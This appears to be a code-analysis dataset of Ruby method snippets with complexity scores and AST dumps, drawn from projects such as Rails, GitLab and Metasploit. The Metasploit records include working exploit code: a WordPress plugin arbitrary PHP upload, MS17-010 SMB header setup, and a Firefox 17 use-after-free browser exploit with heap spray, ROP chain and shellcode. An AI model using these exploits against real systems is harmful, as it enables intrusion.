
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/wp_responsive_thumbnail_slider_upload.rb","start_line":110,"raw_source":"def upload_payload(cookies)\n    manage_uri = 'wp-admin/admin.php?page=responsive_thumbnail_slider_image_management'\n    file_payload = get_write_exec_payload(:unlink_self => true)\n    file_name = \"#{rand_text_alpha(5)}.php\"\n\n    # attempt to access plugins page\n    plugin_res = send_request_cgi(\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path, manage_uri),\n      'cookie' => cookies\n    )\n\n    unless plugin_res && plugin_res.body.include?(\"tmpl-uploader-window\")\n      fail_with(Failure::NoAccess, \"Unable to reach Responsive Thumbnail Slider Plugin Page\")\n    end\n\n    data = Rex::MIME::Message.new\n    data.add_part(file_payload, 'image/jpeg', nil, \"form-data; name=\\\"image_name\\\"; filename=\\\"#{file_name}\\\"\")\n    data.add_part(file_name.split('.')[0], nil, nil, \"form-data; name=\\\"imagetitle\\\"\")\n    data.add_part('Save Changes', nil, nil, \"form-data; name=\\\"btnsave\\\"\")\n    post_data = data.to_s\n\n    # upload the file\n    upload_res = send_request_cgi(\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, manage_uri, '&action=addedit'),\n      'cookie' => cookies,\n      'ctype' => \"multipart/form-data; boundary=#{data.bound}\",\n      'data' => post_data\n    )\n\n    page = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, manage_uri), 'cookie' => cookies)\n    fail_with(Failure::Unknown, \"Unsure of successful upload\") unless (upload_res && page && page.body =~ /New\\s+image\\s+added\\s+successfully/)\n\n    retrieve_file(page, cookies)\n  end","complexity_score":46.6,"ast_json":"{\"type\":\"def\",\"children\":[\"upload_payload\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cookies\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"manage_uri\",{\"type\":\"str\",\"children\":[\"wp-admin/admin.php?page=responsive_thumbnail_slider_image_management\"]}]},{\"type\":\"lvasgn\",\"children\":[\"file_payload\",{\"type\":\"send\",\"children\":[null,\"get_write_exec_payload\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unlink_self\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"file_name\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"int\",\"children\":[5]}]}]},{\"type\":\"str\",\"children\":[\".php\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"plugin_res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"lvar\",\"children\":[\"manage_uri\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"lvar\",\"children\":[\"cookies\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plugin_res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plugin_res\"]},\"body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"tmpl-uploader-window\"]}]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NoAccess\"]},{\"type\":\"str\",\"children\":[\"Unable to reach Responsive Thumbnail Slider Plugin Page\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"MIME\"]},\"Message\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"add_part\",{\"type\":\"lvar\",\"children\":[\"file_payload\"]},{\"type\":\"str\",\"children\":[\"image/jpeg\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"form-data; name=\\\"image_name\\\"; filename=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_name\"]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"add_part\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_name\"]},\"split\",{\"type\":\"str\",\"children\":[\".\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"imagetitle\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"add_part\",{\"type\":\"str\",\"children\":[\"Save Changes\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"btnsave\\\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"post_data\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"to_s\"]}]},{\"type\":\"lvasgn\",\"children\":[\"upload_res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"lvar\",\"children\":[\"manage_uri\"]},{\"type\":\"str\",\"children\":[\"&action=addedit\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"lvar\",\"children\":[\"cookies\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"multipart/form-data; boundary=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"bound\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"post_data\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"page\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"lvar\",\"children\":[\"manage_uri\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cookie\"]},{\"type\":\"lvar\",\"children\":[\"cookies\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload_res\"]},{\"type\":\"lvar\",\"children\":[\"page\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"page\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"New\\\\s+image\\\\s+added\\\\s+successfully\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"Unsure of successful upload\"]}]}]},{\"type\":\"send\",\"children\":[null,\"retrieve_file\",{\"type\":\"lvar\",\"children\":[\"page\"]},{\"type\":\"lvar\",\"children\":[\"cookies\"]}]}]}]}","id":"3fb60df5-db5f-49d5-9fe4-8b7292046af2"}
{"repo_name":"spree","file_path":"./repos/spree/admin/app/controllers/spree/admin/orders/return_authorizations_controller.rb","start_line":67,"raw_source":"def load_return_authorization\n          if @object.order.nil?\n            @object.order = @order\n          end\n\n          @return_authorization = @object\n        end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"load_return_authorization\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@object\"]},\"order\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@object\"]},\"order=\",{\"type\":\"ivar\",\"children\":[\"@order\"]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@return_authorization\",{\"type\":\"ivar\",\"children\":[\"@object\"]}]}]}]}","id":"ea20e810-41e9-4ee8-86ba-3ab79e4bddd3"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/command/base.rb","start_line":120,"raw_source":"def class_usage # :nodoc:\n          if usage_path\n            @class_usage ||= ERB.new(File.read(usage_path), trim_mode: \"-\").result(binding)\n          end\n        end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"class_usage\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"usage_path\"]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@class_usage\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ERB\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"send\",\"children\":[null,\"usage_path\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"trim_mode\"]},{\"type\":\"str\",\"children\":[\"-\"]}]}]}]},\"result\",{\"type\":\"send\",\"children\":[null,\"binding\"]}]}]},null]}]}","id":"972f6807-e11a-49bb-b3f1-8b39389fc78c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/migration_helpers/announce_database.rb","start_line":17,"raw_source":"def db_config_name\n          @db_config_name ||= Gitlab::Database.db_config_name(connection)\n        end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"db_config_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@db_config_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Database\"]},\"db_config_name\",{\"type\":\"send\",\"children\":[null,\"connection\"]}]}]}]}","id":"c221e9c8-6ef0-4493-9b44-603951d5fbac"}
{"repo_name":"reek","file_path":"./repos/reek/lib/reek/context/module_context.rb","start_line":69,"raw_source":"def descriptively_commented?\n        CodeComment.new(comment: exp.leading_comment).descriptive?\n      end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"descriptively_commented?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CodeComment\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"comment\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"exp\"]},\"leading_comment\"]}]}]}]},\"descriptive?\"]}]}","id":"c8a5a16d-7481-47f6-8636-3d6fcc8c3cf7"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/smb/client/psexec_ms17_010.rb","start_line":1115,"raw_source":"def set_smb1_headers(pkt, tid: nil, uid: nil, pid: nil, mid: nil)\n    # fill with defaults\n    self.simple.client.smb_defaults(pkt['Payload']['SMB'])\n\n    # special case: do not ever let mid interfere with fid\n    pkt['Payload']['SMB'].v['MultiplexID'] = if mid != nil then mid else next_multiplex_id() end\n\n    if uid != nil\n      pkt['Payload']['SMB'].v['UserID'] = uid\n    end\n\n    if tid != nil\n      pkt['Payload']['SMB'].v['TreeID'] = tid\n    end\n\n    if pid != nil\n      pkt['Payload']['SMB'].v['ProcessID'] = pid\n    end\n\n    # Flags: 0x18, Canonicalized Pathnames, Case Sensitivity\n    pkt['Payload']['SMB'].v['Flags1'] = 0x18\n\n    # Flags2: 0x4801, Error Code Type, Extended Security Negotiation, Long Names Allowed\n    pkt['Payload']['SMB'].v['Flags2'] = if self.simple.client.require_signing then 0x4807 else 0x4801 end\n\n    pkt\n  end","complexity_score":49.5,"ast_json":"{\"type\":\"def\",\"children\":[\"set_smb1_headers\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pkt\"]},{\"type\":\"kwoptarg\",\"children\":[\"tid\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"uid\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"pid\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"mid\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"simple\"]},\"client\"]},\"smb_defaults\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Payload\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"SMB\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Payload\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"SMB\"]}]},\"v\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"MultiplexID\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mid\"]},\"!=\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"mid\"]},{\"type\":\"send\",\"children\":[null,\"next_multiplex_id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uid\"]},\"!=\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Payload\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"SMB\"]}]},\"v\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"UserID\"]},{\"type\":\"lvar\",\"children\":[\"uid\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tid\"]},\"!=\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Payload\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"SMB\"]}]},\"v\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"TreeID\"]},{\"type\":\"lvar\",\"children\":[\"tid\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pid\"]},\"!=\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Payload\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"SMB\"]}]},\"v\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"ProcessID\"]},{\"type\":\"lvar\",\"children\":[\"pid\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Payload\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"SMB\"]}]},\"v\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Flags1\"]},{\"type\":\"int\",\"children\":[24]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pkt\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Payload\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"SMB\"]}]},\"v\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Flags2\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"simple\"]},\"client\"]},\"require_signing\"]},{\"type\":\"int\",\"children\":[18439]},{\"type\":\"int\",\"children\":[18433]}]}]},{\"type\":\"lvar\",\"children\":[\"pkt\"]}]}]}","id":"7a1c00d1-7465-4f4c-a61d-d2cdbb6a1cdc"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/directory_item.rb","start_line":9,"raw_source":"def self.period_types\n    @types ||= Enum.new(all: 1, yearly: 2, monthly: 3, weekly: 4, daily: 5, quarterly: 6)\n  end","complexity_score":3.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"period_types\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@types\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Enum\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"all\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"yearly\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"monthly\"]},{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"weekly\"]},{\"type\":\"int\",\"children\":[4]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"daily\"]},{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"quarterly\"]},{\"type\":\"int\",\"children\":[6]}]}]}]}]}]}","id":"58ab6be3-781a-4d18-9521-4bb309866a23"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/mozilla_firefox_xmlserializer.rb","start_line":82,"raw_source":"def on_request_uri(cli, request)\n    agent = request.headers['User-Agent']\n    vprint_status(\"Agent: #{agent}\")\n\n    if agent !~ /Windows NT 5\\.1/\n      print_error(\"Windows XP not found, sending 404: #{agent}\")\n      send_not_found(cli)\n      return\n    end\n\n    unless agent =~ /Firefox\\/17/\n      print_error(\"Browser not supported, sending 404: #{agent}\")\n      send_not_found(cli)\n      return\n    end\n\n    # Fake object landed on 0x0c101008 if heap spray is working as expected\n    code = [\n      target['FakeVFTable'],\n      target['RetGadget'],\n      target['RetGadget'],\n      target['RetGadget'],\n      target['RetGadget'],\n      target['PopRetGadget'],\n      0x88888888, # In order to reach the call to the virtual function, according to the regenrecht's analysis\n    ].pack(\"V*\")\n    code << [target['RetGadget']].pack(\"V\") * 183 # Because you get control with \"call dword ptr [eax+2F8h]\", where eax => 0x0c10100c (fake vftable pointer)\n    code << [target['PopRetGadget']].pack(\"V\") # pop # ret\n    code << [target['StackPivot']].pack(\"V\") # stackpivot # xchg eax # esp # ret\n    code << generate_rop_payload('msvcrt', stack_pivot + payload.encoded, { 'target' => 'xp' })\n\n    js_code = Rex::Text.to_unescape(code, Rex::Arch.endian(target.arch))\n    js_random = Rex::Text.to_unescape(rand_text_alpha(4), Rex::Arch.endian(target.arch))\n    js_ptr = Rex::Text.to_unescape([target['FakeObject']].pack(\"V\"), Rex::Arch.endian(target.arch))\n\n    content = <<~HTML\n      <html>\n      <script>\n      var heap_chunks;\n\n      function heapSpray(shellcode, fillsled) {\n        var chunk_size, headersize, fillsled_len, code;\n        var i, codewithnum;\n        chunk_size = 0x40000;\n        headersize = 0x10;\n        fillsled_len = chunk_size - (headersize + shellcode.length);\n        while (fillsled.length <fillsled_len)\n          fillsled += fillsled;\n        fillsled = fillsled.substring(0, fillsled_len);\n        code = shellcode + fillsled;\n        heap_chunks = new Array();\n        for (i = 0; i<1000; i++)\n        {\n          codewithnum = \"HERE\" + code;\n          heap_chunks[i] = codewithnum.substring(0, codewithnum.length);\n        }\n      }\n\n      function gen(len, pad) {\n        pad = unescape(pad);\n\n        while (pad.length < len/2)\n          pad += pad;\n\n        return pad.substring(0, len/2-1);\n      }\n\n      function run() {\n        var container = [];\n\n        var myshellcode = unescape(\"#{js_code}\");\n        var myfillsled = unescape(\"#{js_random}\");\n        heapSpray(myshellcode,myfillsled);\n\n        var fake =\n        \"%u0000%u0000\" +\n        \"%u0000%u0000\" +\n        \"%u0000%u0000\" +\n        \"%u0000%u0000\" +\n        \"%u0000%u0000\" +\n        \"%u0000%u0000\" +\n        \"%u0000%u0000\" +\n        \"#{js_ptr}\";\n\n        var small = gen(72, fake);\n\n        var text = 'x';\n        while (text.length <= 1024)\n          text += text;\n\n        var parent = document.createElement(\"parent\");\n        var child = document.createElement(\"child\");\n\n        parent.appendChild(child);\n        child.setAttribute(\"foo\", text);\n\n        var s = new XMLSerializer();\n        var stream = {\n          write: function() {\n            parent.removeChild(child);\n            child = null;\n            for (i = 0; i < 2097152; ++i)\n              container.push(small.toLowerCase());\n          }\n        };\n\n        s.serializeToStream(parent, stream, \"UTF-8\");\n      }\n      </script>\n      <body onload=\"run();\">\n      </body>\n      </html>\n    HTML\n\n    print_status(\"URI #{request.uri} requested...\")\n    print_status(\"Sending HTML\")\n    send_response(cli, content, { 'Content-Type' => 'text/html' })\n  end","complexity_score":84.8,"ast_json":"{\"type\":\"def\",\"children\":[\"on_request_uri\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"agent\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"User-Agent\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Agent: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"agent\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"agent\"]},\"!~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows NT 5\\\\.1\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows XP not found, sending 404: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"agent\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"send_not_found\",{\"type\":\"lvar\",\"children\":[\"cli\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"agent\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Firefox/17\"]},{\"type\":\"regopt\",\"children\":[]}]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Browser not supported, sending 404: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"agent\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"send_not_found\",{\"type\":\"lvar\",\"children\":[\"cli\"]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"code\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FakeVFTable\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RetGadget\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RetGadget\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RetGadget\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RetGadget\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PopRetGadget\"]}]},{\"type\":\"int\",\"children\":[2290649224]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V*\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"code\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RetGadget\"]}]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]},\"*\",{\"type\":\"int\",\"children\":[183]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"code\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PopRetGadget\"]}]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"code\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"StackPivot\"]}]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"code\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"generate_rop_payload\",{\"type\":\"str\",\"children\":[\"msvcrt\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stack_pivot\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"target\"]},{\"type\":\"str\",\"children\":[\"xp\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"js_code\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"to_unescape\",{\"type\":\"lvar\",\"children\":[\"code\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Arch\"]},\"endian\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"arch\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"js_random\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"to_unescape\",{\"type\":\